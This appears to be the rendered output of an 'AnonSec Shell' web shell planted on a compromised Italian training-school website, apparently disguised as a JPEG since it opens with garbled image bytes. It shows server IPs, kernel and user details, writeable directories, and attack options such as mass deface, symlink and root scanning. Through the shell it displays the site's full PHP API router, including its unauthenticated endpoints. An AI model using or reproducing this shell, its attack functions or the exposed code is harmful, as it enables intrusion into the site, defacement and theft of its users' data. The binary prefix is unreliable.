JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www_local/scuolaeformazionesalerno.it/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www_local/scuolaeformazionesalerno.it/app/router.php
<?php 

$api = new API();
/*ROUTER*/

/*METODI PUBBLICI CHE NON RICHIEDO IL LOGIN*/
if(METHOD!="login" && METHOD!="loginrfid" && METHOD!="getcomuni" && METHOD!="getprovice" && METHOD!="getnazioni" && METHOD!="recuperapassword" && METHOD!="recuperapasswordcentro" && METHOD!="logincentro" && METHOD!="postpresenzerfid" && METHOD!="getcorsisito" && METHOD!="pagamento" && METHOD!="docdattilografia" && METHOD!="scaricacertificatodattilografia" && METHOD!="confermapagamentopaypal" && METHOD!="cronjobemailscheduler"){
	
	if(!$api->validateAuthAndGetUserPublic()){
		die;
	}
}


/*METODI PRIVATI CHE  RICHIEDONO IL LOGIN*/
switch(METHOD){
	case "test":
				// Create an SDK class used to share configuration across clients.
			$sdk = new Aws\Sdk($awsConfig);

			// Use an Aws\Sdk class to create the S3Client object.
			$s3 = $sdk->createS3();
			$result = $s3->listBuckets();

			foreach ($result['Buckets'] as $bucket) {
			    echo $bucket['Name'] . "<br>";
			}
	break;

	case "cronjobemailscheduler":
		$api->cronjobemailscheduler();break;

	case "modificapassword":
		$modificapassword = $api->modificaPassword(OLDPWD, NEWPWD);
		break;

	case "docdattilografia":
		$docdattilografia = $api->docDattilografia(IDCLIENTE, ID,TIPO);
	break;	
	case "scaricacertificatodattilografia":
		$scaricacertificatodattilografia = $api->scaricaCertificatoDattilografia(IDCLIENTE, ID, TIPO);
	break;	

	case "inviarichiestacrediti":
		$inviarichiestacrediti = $api->inviaRichiestaCrediti(TITOLO, CONTENUTO, CREDITI);
	break;	

	case "getfileclientedelcentro":
		$getFileCliente = $api->getFileClientedelcentro(IDCLIENTE);
	break;
	case "getfilecliente":
		$getFileCliente = $api->getFileCliente(IDCLIENTE);
	break;
	case "getfilepartner":
		$getFilePartner = $api->getFilePartner(IDPARTNER);
	break;
	case "getfilecentri":
		$getFileCentri = $api->getFileCentri(IDCENTRO);
	break;

	case "getlistafile":
		$getlistafile = $api->getListaFile(TIPO, ID);
	break;
	case "getfolder":
		$getfolder = $api->getFolderFile(TIPO, ID);
	break;

	

	case "putfiles3":
		$putFileS3 = $api->putFileS3(TIPO, ID, $files, FOLDER);
	break;

	case "getfiles3":
		$getFileS3 = $api->getFile(TIPO, ID, FILENAME, FOLDER);
	break;

	case "ricercatag":
		$ricercatag = $api->ricercaTag(TAG);
	break;

	case "getcertificatocentroprova":
		$getcertificatocentroprova = $api->getCertificatoCentroProva();
	break;

	case "deletelogocentro":
		$deletelogocentro = $api->deleteLogoCentro();
	break;
	

	case "getlogocentro":
		$getlogocentro = $api->getLogoCentro();
	break;
	case "cambialogocentro":
		$cambialogocentro = $api->cambiaLogoCentro($files);
	break;
	
	

	case "deletefiles3":
		$deletefiles3 = $api->deleteFileS3(TIPO, ID, NOMEFILE, FOLDER);
	break;

	case "inviacomunicazione":
		$inviacomunicazione = $api->inviaComunicazioneMassiva(OGGETTO, MESSAGGIO, CLIENTI); //separati da virgola
	break;

	case "inviacorsoviaemail":

		$inviacorsoviaemail = $api->inviaCorsoViaEmail(OGGETTOEMAIL, IDCORSO, EMAILS, MESSAGGIOHEADER, MESSAGGIOFOOTER); //EMAILS separati da virgola
	break;
	
	case "getloglogin":
		if(defined('IDUSER')){
			$getloglogin = $api->getLogLogin(IDUSER);
		}else{
			$getloglogin = $api->getLogLogin();
		}
	break;

	case "getlogloginhome":
		if(defined('IDUSER')){
			$getloglogin = $api->getLogLoginHome(IDUSER);
		}else{
			$getloglogin = $api->getLogLoginHome();
		}
	break;

	case "login":
		$login = $api->login(USERNAME, PASSWORD);
	break;
	case "logincentro":
		$login = $api->loginCentro(USERNAME, PASSWORD);
	break;

	case "recuperapassword":
		$recuperapassword = $api->recuperaPassword(USERNAME);
	break;
	case "recuperapasswordcentro":
		$recuperapassword = $api->recuperaPasswordCentro(USERNAME);
	break;

	case "logout":
			$api->logout();
	break;

	case "logoutcentro":
			$api->logoutCentro();
	break;

	case "delete":
		$delete = $api->deleteFromTable(ID, TABLE);
	break;
	case "deleteid":
		$deleteid = $api->deleteFromTableId(ID, TABLE);
	break;

	case "getmenu":
		if(defined('PARENTID')){
			$getmenu = $api->getMenu(USERTYPEID, PARENTID);
		}else{
			$getmenu = $api->getMenu(USERTYPEID);
		}
	break;

	case "getfile":
		$api->getFile(ID);
	break;
	case "downloadfile":
		$api->downloadFile(ID);
	break;


	case "getconfigurazioneemail":
		$getconfigurazioneemail = $api->getConfigurazioneEmail();
	break;

	case "setconfigurazioneemail":
		$setconfigurazioneemail = $api->setConfigurazioneEmail(HOST_EMAIL, PORT_EMAIL, USERNAME_EMAIL, PASSWORD_EMAIL, NOME_MITTENTE_EMAIL, EMAIL_MITTENTE_EMAIL);
	break;

	case "getregioni":
		$getregioni = $api->getRegioni();
	break;
	case "getprovince":
		$getprovince = $api->getProvince();
	break;
	case "getcomuni":
		$getcomuni = $api->getComuni(IDPROVINCIA);
	break;
	case "getnazioni":
		$getnazioni = $api->getNazioni();
	break;

	case "getschede":
		$getschede = $api->getSchede();
	break;
	case "getschedecalendario":
		$getschedecalendario = $api->getSchedeCalendario();
	break;

	



	/**
	 * EMAIL API
	 */
	case "createemail":
			$createemail = $api->createEmail(SUBJECT,DESCRIPTION,EMAILTYPEID,TXT,HTML);
	break;
	case "sendemailtogroup":
			$sendemailtogroup = $api->sendEmailToGroup(EMAILID, SENDER_USERID, DEST_GROUPID);
	break;
	case "sendemailtouser":
			$sendemailtouser = $api->sendEmailToUser(EMAILID, SENDER_USERID, DEST_USERID);
	break;


	/**
	* GRAPJ CRM
	*
	*/

	case "getutenti":
		$api->getUtenti();
	break;
	case "getutentildap":
	   	$api->getUtentiLdap(NOME);
	break;
	case "getutenteinformazioni":
		$api->getUtenteInformazioni(IDUSER,DAL,AL);
	break;
	case "getpresenze":
		$api->getPresenze(ID_USER,DAL,AL);
	break;

	case "postpresenze":
		$api->postPresenze(ID_USER,DAL,AL);
	break;

	case "deletepresenza":
		$api->deletePresenza(ID);
	break;

	case "postpresenzerfid":
		$api->postPresenzeRfid(TOKEN);
	break;

	case "registrarfid":
		$api->registraRfid(ID_USER, RFID, FORCE);
	break;

	case "verificarfid":
		$api->verificaRfid(RFID);
	break;

	case "cancellarfid":
		$api->cancellaRfid(RFID);
	break;

	case "loginrfid":
		$api->loginRfid(TOKEN);
	break;

	


	case "updateinformazioneutente":
		$api->updateInformazioneUtente(INFORMAZIONI, ID_USER);
	break;
	case "updateinformazionibasiutente":
		$api->updateInformazioniBaseUtente(FIRSTNAME, LASTNAME, GENERE, DATA_DI_NASCITA, RUOLO, LOCATION, ID_USER, CELLULARE);
	break;
	case "updateinformazionicontattoutente":
		$api->updateInformazioniContattoUtente(CELLULARE, EMAIL, LINKEDIN, WHATSAPP, FACETIME, SKYPE, ID_USER);
	break;
	case "updatefotocontattoutente":
		$api->updateFotoContattoUtente($files, ID_USER);
	break;
	case "insertutente":	
		$api->createUser(USERNAME, FIRSTNAME, LASTNAME, EMAIL, PASSWORD, USER_TYPE_ID, EMAIL_REGISTRAZIONE, COLOR, GRUPPI);
	break;
	case "updateutente":	
		$api->updateUser(USERNAME, FIRSTNAME, LASTNAME, EMAIL, PASSWORD, USER_TYPE_ID, EMAIL_REGISTRAZIONE, ID_USER, COLOR, GRUPPI);
	break;
	case "deleteutente":	
		$api->deleteUser(ID);
	break;

	case "getgroups":	
		$api->getGroups();
	break;
	case "getgroupusersbyid":	
		$api->getGroupUsersById(ID);
	break;
	case "insertgroup":	
		$api->insertGroup(TITOLO, DESCRIZIONE, PERMESSI);
	break;
	case "editgroup":	
		$api->editGroup(ID, TITOLO, DESCRIZIONE, PERMESSI);
	break;
	case "deletegroup":	
		$api->deleteGroup(ID);
	break;

	case "addusertogroup":	
		$api->addUserToGroup(ID_GROUP, ID_USER);
	break;
	case "removeuserfromgroup":	
		$api->removeUserFromGroup(ID_GROUP, ID_USER);
	break;

	////////QUESTA PARTE VA IN UN FILE ESTERNO//////
	/* @PeoSTART */
	
	case "getupload": $api->downloadFileUploaded(NOMIFILE);
	break;
	
	case "getcitta":	$citta = $api->getCitta();	break;
	




	case "gethome":	include "app/components/pratica/router.php";include "app/components/cliente/router.php"; $api->getHome();	break;

	/* @PeoEND*/

	///////FINE PARTE FILE ESTERNO/////

	/*

		BLOG

		
	*/



	case "getcategorieblog":
		$api->getCategorieBlog();
	break;
	case "insertcategoriablog":
		$insertcategorie = $api->insertCategoriaBlog(NOMECATEGORIA, $files);
	break;
	case "updatecategoriablog":
		$api->updateCategoriaBlog(IDCATEGORIA, NOMECATEGORIA, $files); break;
	break;
	case "deletecategoriablog":
		$deletecategorie = $api->deleteCategoriaBlog(IDCATEGORIA);
	break;



	case "getblog":
		if(defined('IDCATEGORIA')){
			$api->getBlog(IDCATEGORIA); break;
		}else{
			$api->getBlog(); break;
		}
	break;
	case "insertblog":
		$api->insertBlog(TITOLO, TESTO, IDCATEGORIA, $files[0], LINK, DATAINIZIO, DATAFINE);
	break;
	case "inviaemailevento":
		$api->inviaEmailEvento(ID);

	case "editblog":
		$api->updateBlog(ID, TITOLO, TESTO, IDCATEGORIA, $files[0], LINK, DATAINIZIO, DATAFINE); break;
		
	break;
	case "deleteblog":
		$deletecategorie = $api->deleteBlog(ID);
	break;

	/*case "pagamento":
		$pagamento = $api->pagamento(VALORE);
	break;
*/

//ORDINI
	case "getordini":
		$api->getOrdini(); break;
	case "getnumeroordininonletti":
		$api->getNumeroOrdiniNonLetti(); break;
	case "getordine":
		$api->getOrdine(ID); break;	
	case "cancellaordine":
		$api->deleteOrdine(ID); break;	

	case "getinfopagamentopaypal":
		$api->getInfoPagamentoPayPal(ID); break;
	case "aggiornainfopagamentodapaypal":
		$api->aggiornaInfoPagamentoDaPayPal(ORDERID); break;	
/*	
	case "testemail":
		$api->testEmail(); break;	*/

		
	case "confermapagamentopaypal":
		$api->confermaPagamentoPayPal(ID); break;	
	case "annullapagamentopaypal":
		$api->annullaPagamentoPayPal(ID); break;			

	case "insertordine":	
		$api->insertOrdine(STATUSCODE, STATUS, SLUG_CORSO, TITOLO_CORSO, DATA_PAGAMENTO, PREZZO_VENDITA, NOME, EMAIL, ID_USER_PAYPAL, VIA, AREA1, AREA2, CODICE_POSTALE, CODICE_PAESE, CODICE_PAGAMENTO, METODO_PAGAMENTO, TIPOLOGIA); break;
	case "updateordine":	
		$api->updateOrdine(ID, STATUSCODE, STATUS, SLUG_CORSO, TITOLO_CORSO, DATA_PAGAMENTO, PREZZO_VENDITA, NOME, EMAIL, ID_USER_PAYPAL, VIA, AREA1, AREA2, CODICE_POSTALE, CODICE_PAESE, CODICE_PAGAMENTO, METODO_PAGAMENTO); break;
	
	case "visualizzatoordine":
		$api->visualizzatoOrdine(ID, VISUALIZZATO);break;


	default:

		if($_SESSION["userdata"]["user_type_id"] !=236876){
		include "app/components/corso/router.php";
		include "app/components/stato/router.php";
		include "app/components/cliente/router.php";
		include "app/components/categoria/router.php";
		include "app/components/pratica/router.php";
		include "app/components/partner/router.php";
		}
		include "app/components/centri/router.php";

		
		break;
}


?>



Anon7 - 2022
AnonSec Team